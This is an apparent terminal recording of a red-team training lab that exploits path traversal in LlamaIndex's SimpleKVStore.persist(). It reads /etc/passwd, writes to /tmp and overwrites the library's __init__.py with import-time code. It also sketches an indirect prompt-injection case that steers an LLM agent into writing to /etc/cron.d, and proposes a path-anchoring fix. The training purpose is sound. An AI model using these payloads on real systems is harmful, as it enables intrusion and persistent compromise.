{"version": 2, "width": 235, "height": 53, "timestamp": 1788983355, "env": {"SHELL": "/usr/bin/zsh", "TERM": "xterm-256color"}} [0.03944, "o", " \r\r\u001b]0;kali@kali: ~/OWASP/GenAI-Red-Team-Lab/exploitation/llamaindex\u0007"] [0.049805, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~/OWASP/GenAI-Red-Team-Lab/exploitation/llamaindex\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m "] [0.054444, "o", "\u001b[K"] [0.054749, "o", "\u001b[?1h\u001b=\u001b[?2004h"] [1.209311, "o", "."] [1.211297, "o", "\b\u001b[36m.\u001b[39m"] [1.211904, "o", "\b\u001b[36m.\u001b[39m\u001b[38;5;244m/interactive_trainer.py\u001b[39m\u001b[23D"] [1.371589, "o", "\b\u001b[36m.\u001b[36m/\u001b[39m"] [1.373621, "o", "\b\b\u001b[4m\u001b[32m.\u001b[4m\u001b[32m/\u001b[24m\u001b[39m"] [1.87985, "o", "\u001b[39mi\u001b[39mn\u001b[39mt\u001b[39me\u001b[39mr\u001b[39ma\u001b[39mc\u001b[39mt\u001b[39mi\u001b[39mv\u001b[39me\u001b[39m_\u001b[39mt\u001b[39mr\u001b[39ma\u001b[39mi\u001b[39mn\u001b[39me\u001b[39mr\u001b[39m.\u001b[39mp\u001b[39my"] [1.882554, "o", "\u001b[24D\u001b[24m\u001b[36m.\u001b[24m\u001b[36m/\u001b[36mi\u001b[36mn\u001b[36mt\u001b[36me\u001b[36mr\u001b[36ma\u001b[36mc\u001b[36mt\u001b[36mi\u001b[36mv\u001b[36me\u001b[36m_\u001b[36mt\u001b[36mr\u001b[36ma\u001b[36mi\u001b[36mn\u001b[36me\u001b[36mr\u001b[36m.\u001b[36mp\u001b[36my\u001b[39m"] [2.345407, "o", "\b\u001b[36my\u001b[36m \u001b[39m"] [2.347195, "o", "\b\b\u001b[36my\u001b[39m\u001b[39m "] [2.738721, "o", "-"] [2.740678, "o", "\b\u001b[32m-\u001b[39m"] [2.886484, "o", "\b\u001b[32m-\u001b[32m-\u001b[39m"] [3.118973, "o", "\b\u001b[32m-\u001b[32ma\u001b[39m"] [3.322292, "o", "\b\u001b[32ma\u001b[32mu\u001b[39m"] [3.473248, "o", "\b\u001b[32mu\u001b[32mt\u001b[39m"] [3.564431, "o", "\b\u001b[32mt\u001b[32mo\u001b[39m"] [4.374531, "o", "\u001b[?1l\u001b>\u001b[?2004l"] [4.376165, "o", "\r\r\n"] [4.420847, "o", "\r\n\u001b[1m\u001b[36m══════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m\u001b[36m GUIDED TRAINING COURSE - AUTO-PILOT MODE\u001b[0m\r\n\u001b[1m\u001b[36m══════════════════════════════════════════════════════\u001b[0m\r\n\r\n\u001b[33m Running through all 3 stages automatically...\u001b[0m\r\n\u001b[33m Lessons 1, 3, 4, 5, 6 will run at each stage.\u001b[0m\r\n\u001b[33m Lesson 2 (Path Traversal Read) only runs in Stage 0.\u001b[0m\r\n\u001b[33m Lesson 7 (Custom Sandbox) is hands-on — run it manually.\u001b[0m\r\n\r\n"] [6.424887, "o", "\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m\u001b[34m STAGE 0: Original Vulnerable (v0.14.19)\u001b[0m\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[36m[*] Building Stage 0: llama-index-core==0.14.19\u001b[0m\r\n\u001b[2mOriginal Vulnerable - dataset.py AND SimpleKVStore.persist() both exploitable\u001b[0m\r\n"] [19.870472, "o", "\u001b[32m[+] Stage 0 ready at http://127.0.0.1:8000\u001b[0m\r\n\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 1: Baseline Verification\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the framework is clean and identify what's vulnerable.\r\n\r\n"] [19.935503, "o", "\u001b[36m[*] Checking sandbox health...\u001b[0m\r\n"] [19.938541, "o", "\u001b[2m{\r\n \"dataset_functions_available\": true,\r\n \"init_integrity\": \"clean\",\r\n \"llama_version\": \"0.14.19\",\r\n \"sandbox_dir\": \"/app/sandbox_data\",\r\n \"stage\": 0,\r\n \"status\": \"ok\"\r\n}\u001b[0m"] [19.938662, "o", "\r\n"] [20.942564, "o", "\r\n\u001b[36m[*] Checking framework integrity...\u001b[0m\r\n"] [20.948689, "o", "\u001b[2m{\r\n \"clean\": true,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [],\r\n \"size_bytes\": 4224,\r\n \"status\": \"clean\"\r\n}\u001b[0m\r\n"] [21.976166, "o", "\r\n\u001b[36m[*] Checking stage info...\u001b[0m\r\n"] [21.982767, "o", "\u001b[2m{\r\n \"stage\": 0,\r\n \"version\": \"0.14.19\",\r\n \"dataset_functions_available\": true,\r\n \"SimpleKVStore_available\": true,\r\n \"SimpleKVStore_vulnerable\": true,\r\n \"compromised\": false\r\n}\u001b[0m\r\n"] [23.143122, "o", "\r\n\u001b[1m\u001b[32m═══ CURRENT STAGE ANALYSIS ═══\u001b[0m\r\n Stage: 0 (llama-index-core==0.14.19)\r\n Vendor Action: None - vulnerability reported but classified as N/A\r\n dataset.py functions: Available\r\n SimpleKVStore.persist(): VULNERABLE\r\n\r\n\u001b[33m ⚠️ Both attack surfaces available:\u001b[0m\r\n 1. dataset.py path traversal (CWE-22)\r\n 2. SimpleKVStore.persist() arbitrary write (CWE-22 -> CWE-94)\r\n"] [24.645141, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m"] [24.646826, "o", "\r\n\u001b[1m LESSON 2: Path Traversal Read (Stage 0 Only)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Escape the sandbox to read system files via CWE-22.\r\n\r\n"] [24.882023, "o", "\u001b[36m[*] Attempting to read /etc/passwd via path traversal...\u001b[0m\r\n"] [24.882253, "o", "\u001b[2m Using vulnerable download_llama_dataset path resolution\u001b[0m\r\n"] [25.40687, "o", "\r\n\u001b[92m[PEEK] ../../../../../../etc/passwd\r\n\r\n[!] PATH TRAVERSAL DETECTED: '../../../../../../etc/passwd' resolved to '/etc/passwd'\r\n[!] Escaped sandbox: /app/sandbox_data\r\nroot:x:0:0:root:/root:/bin/bash\r\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\r\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\r\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\r\nsync:x:4:65534:sync:/bin:/bin/sync\r\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\r\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\r\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\r\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\r\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\r\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\r\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\r\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\r\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\r\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\r\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\r\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\r\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\r\n\u001b[0m\r\n"] [26.410295, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m"] [26.410915, "o", "\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mdownload_llama_dataset()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m/etc/passwd\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[96mopen(\"/etc/passwd\", O_RDONLY) = 3\u001b[0m\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m"] [26.411256, "o", "\r\n 1. The payload 'peek:../../../../../../etc/passwd' was sent to /chat\r\n 2. The server used vulnerable path resolution (Path() without .resolve())\r\n 3. The traversal escaped the sandbox and read a system file\r\n 4. This demonstrates CWE-22: Path Traversal\r\n\r\n\u001b[1m\u001b[33m ⚠️ VENDOR RESPONSE NOTE ═══\u001b[0m\r\n The vendor dismissed this as 'N/A' on Huntr.\r\n Days later, they silently DELETED dataset.py (commit 7049c97d).\r\n Their commit message: 'remaining cleanup, uv lock bump' - not a security fix.\r\n"] [27.916446, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 3: Path Traversal Write (ALL Stages) [HANDS-ON]\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n This is the interactive lesson. You can customize payloads and explore.\r\n\r\n"] [28.129805, "o", "\u001b[36m═══ THE VULNERABILITY ═══\u001b[0m\r\n"] [28.130084, "o", "\r\n"] [28.130219, "o", " The root cause is in \u001b[1mSimpleKVStore.persist()\u001b[0m in\r\n"] [28.13032, "o", " \u001b[2mllama_index/core/storage/kvstore.py\u001b[0m\r\n"] [28.130447, "o", "\r\n \u001b[1mdef persist(self, persist_path: str, fs=None):\u001b[0m\r\n \u001b[2mdirpath = os.path.dirname(persist_path)\u001b[0m\r\n \u001b[2mif not fs.exists(dirpath):\u001b[0m\r\n \u001b[2m fs.makedirs(dirpath)\u001b[0m\r\n \u001b[2mwith fs.open(persist_path, 'w') as f: # <--- NO PATH VALIDATION\u001b[0m\r\n \u001b[2m f.write(json.dumps(self._collections_mappings))\u001b[0m\r\n\r\n The function accepts a \u001b[1mpersist_path\u001b[0m parameter and writes to it\r\n"] [28.130914, "o", " \u001b[1mwithout any validation\u001b[0m. No .resolve(), no is_relative_to(), no anchoring.\r\n\r\n\u001b[36m═══ HOW AN LLM COULD TRIGGER THIS ═══\u001b[0m\r\n\r\n Scenario: An AI agent is given a tool to 'save configuration data'.\r\n The LLM is prompted to persist data to a file. An attacker uses\r\n indirect prompt injection to manipulate the LLM's output.\r\n\r\n \u001b[1mLLM Prompt:\u001b[0m 'Save the current configuration to a file.'\r\n \u001b[1mLLM Response:\u001b[0m 'I will save the configuration to\r\n \u001b[1m../../../../../../etc/cron.d/malicious_payload\u001b[0m'\r\n"] [28.131348, "o", "\r\n The LLM's output is passed directly to SimpleKVStore.persist()\r\n without validation. The path traversal succeeds.\r\n\r\n \u001b[33mThis is NOT a hypothetical attack. This is exactly how AI agents\r\n using LlamaIndex tools can be weaponized against their own infrastructure.\u001b[0m\r\n\r\n\u001b[36m═══ CURRENT STATE ═══\u001b[0m\r\n"] [28.132445, "o", " Stage: 0 (llama-index-core==0.14.19)\r\n"] [28.132627, "o", " dataset.py: Available\r\n"] [28.132737, "o", " SimpleKVStore.persist(): VULNERABLE\r\n \u001b[91mpersist() is exploitable in ALL stages.\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Sending drop action...\u001b[0m\r\n\u001b[2m Path: ../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[2m Content: EXPLOIT_SUCCESS\u001b[0m\r\n"] [28.645752, "o", "\r\n\u001b[92m[DROP] SUCCESS: EXPLOIT_SUCCESS -> ../../../../../../tmp/llamaindex_pwned.txt\r\n[DROP] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 0\u001b[0m\r\n"] [29.650864, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"../../../../../../tmp/llamaindex_pwned.txt\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'EXPLOIT_SUCCESS...', 15) = 15\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() wrote 'EXPLOIT_SUCCESS' to ../../../../../../tmp/llamaindex_pwned.txt\r\n 2. No path validation was performed - the write succeeded\r\n 3. This demonstrates CWE-22 -> CWE-94 (arbitrary file write)\r\n\r\n The same vulnerability that wrote to /tmp/ can also write to:\r\n \u001b[1m - /etc/cron.d/ (persistent scheduled execution)\u001b[0m\r\n \u001b[1m - /usr/local/lib/python3.11/site-packages/ (library overwrite)\u001b[0m\r\n \u001b[1m - /root/.ssh/authorized_keys (SSH persistence)\u001b[0m\r\n \u001b[1m - /etc/ld.so.preload (library injection)\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ INCOMPLETE PATCH PROOF ═══\u001b[0m\r\n Stage 0: dataset.py AND persist() both vulnerable\r\n Stage 1: dataset.py deleted but still in PyPI, persist() STILL VULNERABLE\r\n Stage 2: logic migrated, persist() STILL VULNERABLE\r\n \u001b[91mThe vendor never fixed SimpleKVStore.persist().\u001b[0m\r\n"] [31.151862, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m"] [31.152131, "o", "\r\n\u001b[1m LESSON 4: Framework Overwrite (RCE via Persistence)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Overwrite llama_index/core/__init__.py to achieve\r\n persistent code execution on every import.\r\n\r\n"] [31.353417, "o", "\u001b[36m[*] Current: Stage 0 - llama-index-core==0.14.19\u001b[0m\r\n\u001b[36m[*] SimpleKVStore.persist() is vulnerable in ALL stages\u001b[0m\r\n"] [31.855682, "o", "\u001b[36m[*] Sending nuke action...\u001b[0m\r\n"] [31.856216, "o", "\u001b[2m Target: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n"] [32.366431, "o", "\r\n\u001b[92m[NUKE] Framework file overwritten: /usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\r\n[NUKE] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 0\u001b[0m"] [32.3666, "o", "\r\n"] [33.376801, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'import os;f=open('/tmp/llamaindex_pwned','w');f.write('RCE_SUCCESS');f.close()...', 78) = 78\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Verifying compromise...\u001b[0m\r\n"] [33.383556, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m\r\n"] [34.386306, "o", "\r\n\u001b[92m[✓] FRAMEWORK COMPROMISED!\u001b[0m\r\n\u001b[92m Markers found: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() wrote attacker-controlled data to __init__.py\r\n 2. The core library file is now corrupted\r\n 3. Any subsequent 'import llama_index' triggers the payload\r\n\r\n\u001b[1m\u001b[33m ⚠️ PERSISTENT COMPROMISE (CVSS Scope Change)\u001b[0m\r\n This is NOT a transient RCE. The framework source code is modified on disk.\r\n All future Python processes importing llama_index will execute the payload.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [35.887609, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 5: Scope Change Proof (Persistent Compromise)\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the compromise survives across process boundaries.\r\n\r\n"] [36.077422, "o", "\u001b[36m[*] Checking current state...\u001b[0m\r\n"] [36.079712, "o", "\u001b[2m{\r\n \"clean\": false,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [\r\n \"PERSISTENT COMPROMISE\"\r\n ],\r\n \"size_bytes\": 113,\r\n \"status\": \"compromised\"\r\n}\u001b[0m"] [36.079862, "o", "\r\n"] [37.080157, "o", "\r\n\u001b[92m[✓] SCOPE CHANGE CONFIRMED!\u001b[0m\r\n\u001b[92m The framework source file has been modified on disk.\u001b[0m\r\n\u001b[92m Markers: ['PERSISTENT COMPROMISE']\u001b[0m\r\n\r\n\u001b[32m This proves the exploit achieved CVSS Scope Change (S:C).\u001b[0m\r\n\u001b[32m The compromise is NOT transient - it persists in the filesystem.\u001b[0m\r\n\u001b[32m Any new Python process importing llama_index will be affected.\u001b[0m\r\n\r\n\u001b[1m\u001b[33m ⚠️ WHY THIS MATTERS ═══\u001b[0m\r\n The vendor's shadow patch (deleting dataset.py) did NOT fix this.\r\n SimpleKVStore.persist() remains vulnerable in ALL versions.\r\n Without a CVE, SCA scanners will NOT flag this in enterprise environments.\r\n\r\n\u001b[1m╔══════════════════════════════════════════════════════════════════╗\u001b[0m\r\n\u001b[1m║ EXPLOIT IMPACT & CVSS SCORE ║\u001b[0m\r\n\u001b[1m╠══════════════════════════════════════════════════════════════════╣\u001b[0m\r\n║ \u001b[1mCVSS Score\u001b[0m : \u001b[91m10.0 CRITICAL\u001b[0m\r\n║ \u001b[1mVector\u001b[0m : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\r\n║ \u001b[1mScope (S)\u001b[0m : \u001b[91mCHANGED (S:C)\u001b[0m -> Process Boundary Crossed\r\n║ \u001b[1mConfidentiality\u001b[0m: \u001b[31mHIGH\u001b[0m (Arbitrary System File Read)\r\n║ \u001b[1mIntegrity\u001b[0m : \u001b[31mHIGH\u001b[0m (Library & Configuration Overwrite)\r\n║ \u001b[1mAvailability\u001b[0m : \u001b[31mHIGH\u001b[0m (Framework Corruption / Denial of Service)\r\n\u001b[1m╚══════════════════════════════════════════════════════════════════╝\u001b[0m\r\n\r\n"] [38.581647, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m"] [38.582098, "o", "\r\n\u001b[1m LESSON 6: Mitigation Strategies\u001b[0m\r\n"] [38.582377, "o", "\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Understand the architectural fix vs. band-aid patches.\r\n\r\n\u001b[1m\u001b[36m═══ PROPOSED FIX: Path Anchoring ═══\u001b[0m\r\n\r\n\u001b[32m Correct Pattern:\u001b[0m\r\n\u001b[2m from pathlib import Path\u001b[0m\r\n\u001b[2m \u001b[0m\r\n\u001b[2m def get_anchored_path(safe_root: str, user_input: str) -> Path:\u001b[0m\r\n\u001b[2m base_dir = Path(safe_root).resolve()\u001b[0m\r\n\u001b[2m target_path = (base_dir / user_input).resolve()\u001b[0m\r\n\u001b[2m if not target_path.is_relative_to(base_dir):\u001b[0m\r\n\u001b[2m raise PermissionError('Path Traversal Blocked!')\u001b[0m\r\n"] [38.582455, "o", "\u001b[2m return target_path\u001b[0m\r\n\r\n"] [39.593135, "o", "\u001b[1m\u001b[33m═══ WHY THE VENDOR'S 'FIX' IS INCOMPLETE ═══\u001b[0m\r\n\r\n 1. \u001b[1mDeleting dataset.py (Stage 1)\u001b[0m\r\n \u001b[2m- Removed the PoC target, did NOT fix root cause\u001b[0m\r\n \u001b[2m- SimpleKVStore.persist() left unprotected\u001b[0m\r\n\r\n 2. \u001b[1mMigrating logic to workflows (Stage 2)\u001b[0m\r\n \u001b[2m- Path sanitization only in workflows sub-package\u001b[0m\r\n \u001b[2m- Core storage module (SimpleKVStore) never patched\u001b[0m\r\n\r\n 3. \u001b[1mNo CVE Assignment\u001b[0m\r\n \u001b[2m- SCA scanners show no alerts for affected versions\u001b[0m\r\n \u001b[2m- Enterprise deployments remain blind to the risk\u001b[0m\r\n\r\n"] [40.608686, "o", "\u001b[1m\u001b[36m═══ WHAT A REAL FIX REQUIRES ═══\u001b[0m\r\n\r\n \u001b[32m✓ Path Anchoring:\u001b[0m Mandatory .resolve() + is_relative_to() on ALL file I/O\r\n \u001b[32m✓ Type-Safe Sinks:\u001b[0m Strict path type validation before any file operation\r\n \u001b[32m✓ Centralized I/O:\u001b[0m Single audited file utility instead of scattered sinks\r\n \u001b[32m✓ CVE Assignment:\u001b[0m Public disclosure so SCA scanners can detect vulnerable versions\r\n"] [42.109773, "o", "\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m\u001b[34m STAGE 1: Shadow Patched (v0.14.20)\u001b[0m\r\n\u001b[1m\u001b[34m dataset.py DELETED — persist() STILL VULNERABLE\u001b[0m\r\n\u001b[1m\u001b[34m══════════════════════════════════════════════════════\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[36m[*] Building Stage 1: llama-index-core==0.14.20\u001b[0m\r\n\u001b[2mShadow Patched - dataset.py DELETED (commit 7049c97d), SimpleKVStore.persist() STILL vulnerable\u001b[0m\r\n"] [55.732454, "o", "\u001b[32m[+] Stage 1 ready at http://127.0.0.1:8000\u001b[0m\r\n\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m"] [55.732878, "o", "\r\n\u001b[1m LESSON 1: Baseline Verification\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n Objective: Verify the framework is clean and identify what's vulnerable.\r\n\r\n"] [55.810092, "o", "\u001b[36m[*] Checking sandbox health...\u001b[0m\r\n"] [55.812529, "o", "\u001b[2m{\r\n \"dataset_functions_available\": true,\r\n \"init_integrity\": \"clean\",\r\n \"llama_version\": \"0.14.20\",\r\n \"sandbox_dir\": \"/app/sandbox_data\",\r\n \"stage\": 1,\r\n \"status\": \"ok\"\r\n}\u001b[0m"] [55.813038, "o", "\r\n"] [56.816342, "o", "\r\n\u001b[36m[*] Checking framework integrity...\u001b[0m\r\n"] [56.821005, "o", "\u001b[2m{\r\n \"clean\": true,\r\n \"exists\": true,\r\n \"file\": \"/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py\",\r\n \"markers_found\": [],\r\n \"size_bytes\": 4224,\r\n \"status\": \"clean\"\r\n}\u001b[0m\r\n"] [57.823216, "o", "\r\n\u001b[36m[*] Checking stage info...\u001b[0m\r\n"] [57.828162, "o", "\u001b[2m{\r\n \"stage\": 1,\r\n \"version\": \"0.14.20\",\r\n \"dataset_functions_available\": true,\r\n \"SimpleKVStore_available\": true,\r\n \"SimpleKVStore_vulnerable\": true,\r\n \"compromised\": false\r\n}\u001b[0m\r\n"] [59.003614, "o", "\r\n\u001b[1m\u001b[32m═══ CURRENT STAGE ANALYSIS ═══\u001b[0m\r\n Stage: 1 (llama-index-core==0.14.20)\r\n Vendor Action: Deleted PoC target silently under 'cleanup' commit\r\n dataset.py functions: Available\r\n SimpleKVStore.persist(): VULNERABLE\r\n\r\n\u001b[33m ⚠️ Vendor claimed to delete dataset.py but:\u001b[0m\r\n - The PyPI release STILL contains the vulnerable file\r\n - SimpleKVStore.persist() is STILL VULNERABLE\r\n"] [60.504305, "o", "\r\n\u001b[33m[SKIP] Lesson 2 requires Stage 0 (dataset.py not available in Stage 1)\u001b[0m\r\n\r\n"] [61.524646, "o", "\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n\u001b[1m LESSON 3: Path Traversal Write (ALL Stages) [HANDS-ON]\u001b[0m\r\n\u001b[1m══════════════════════════════════════════════════════════════════════\u001b[0m\r\n This is the interactive lesson. You can customize payloads and explore.\r\n\r\n"] [61.735415, "o", "\u001b[36m═══ THE VULNERABILITY ═══\u001b[0m\r\n\r\n"] [61.735831, "o", " The root cause is in \u001b[1mSimpleKVStore.persist()\u001b[0m in\r\n \u001b[2mllama_index/core/storage/kvstore.py\u001b[0m\r\n\r\n \u001b[1mdef persist(self, persist_path: str, fs=None):\u001b[0m\r\n \u001b[2mdirpath = os.path.dirname(persist_path)\u001b[0m\r\n \u001b[2mif not fs.exists(dirpath):\u001b[0m\r\n \u001b[2m fs.makedirs(dirpath)\u001b[0m\r\n \u001b[2mwith fs.open(persist_path, 'w') as f: # <--- NO PATH VALIDATION\u001b[0m\r\n \u001b[2m f.write(json.dumps(self._collections_mappings))\u001b[0m\r\n\r\n The function accepts a \u001b[1mpersist_path\u001b[0m parameter and writes to it\r\n \u001b[1mwithout any validation\u001b[0m. No .resolve(), no is_relative_to(), no anchoring.\r\n\r\n\u001b[36m═══ HOW AN LLM COULD TRIGGER THIS ═══\u001b[0m\r\n\r\n Scenario: An AI agent is given a tool to 'save configuration data'.\r\n The LLM is prompted to persist data to a file. An attacker uses\r\n indirect prompt injection to manipulate the LLM's output.\r\n\r\n \u001b[1mLLM Prompt:\u001b[0m 'Save the current configuration to a file.'\r\n \u001b[1mLLM Response:\u001b[0m 'I will save the configuration to\r\n \u001b[1m../../../../../../etc/cron.d/malicious_payload\u001b[0m'\r\n\r\n The LLM's output is passed directly to SimpleKVStore.persist()\r\n without validation. The path traversal succeeds.\r\n\r\n \u001b[33mThis is NOT a hypothetical attack. This is exactly how AI agents\r\n using LlamaIndex tools can be weaponized against their own infrastructure.\u001b[0m\r\n\r\n\u001b[36m═══ CURRENT STATE ═══\u001b[0m\r\n"] [61.737892, "o", " Stage: 1 (llama-index-core==0.14.20)\r\n"] [61.738243, "o", " dataset.py: Available\r\n SimpleKVStore.persist(): VULNERABLE\r\n \u001b[91mpersist() is exploitable in ALL stages.\u001b[0m\r\n\r\n\r\n\u001b[36m[*] Sending drop action...\u001b[0m\r\n\u001b[2m Path: ../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[2m Content: EXPLOIT_SUCCESS\u001b[0m\r\n"] [62.246865, "o", "\r\n\u001b[92m[DROP] SUCCESS: EXPLOIT_SUCCESS -> ../../../../../../tmp/llamaindex_pwned.txt\r\n[DROP] SimpleKVStore.persist() vulnerability STILL ACTIVE in Stage 1\u001b[0m\r\n"] [63.248882, "o", "\r\n\u001b[1m\u001b[35m┌── [LOW-LEVEL SINK INTERCEPTOR & SYSCALL TRACE] ─────────────────\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mVulnerable Sink:\u001b[0m \u001b[36mSimpleKVStore.persist()\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mTarget Path :\u001b[0m \u001b[93m../../../../../../tmp/llamaindex_pwned.txt\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mSyscall Executed:\u001b[0m \u001b[31mopen(\"../../../../../../tmp/llamaindex_pwned.txt\", O_WRONLY|O_CREAT|O_TRUNC) = 3\u001b[0m\r\n\u001b[35m│\u001b[0m \u001b[1mI/O Operation :\u001b[0m write(3, 'EXPLOIT_SUCCESS...', 15) = 15\r\n\u001b[35m└───────────────────────────────────────────────────────────────────\u001b[0m\r\n\r\n\r\n\u001b[1m\u001b[32m═══ WHAT JUST HAPPENED ═══\u001b[0m\r\n 1. SimpleKVStore.persist() 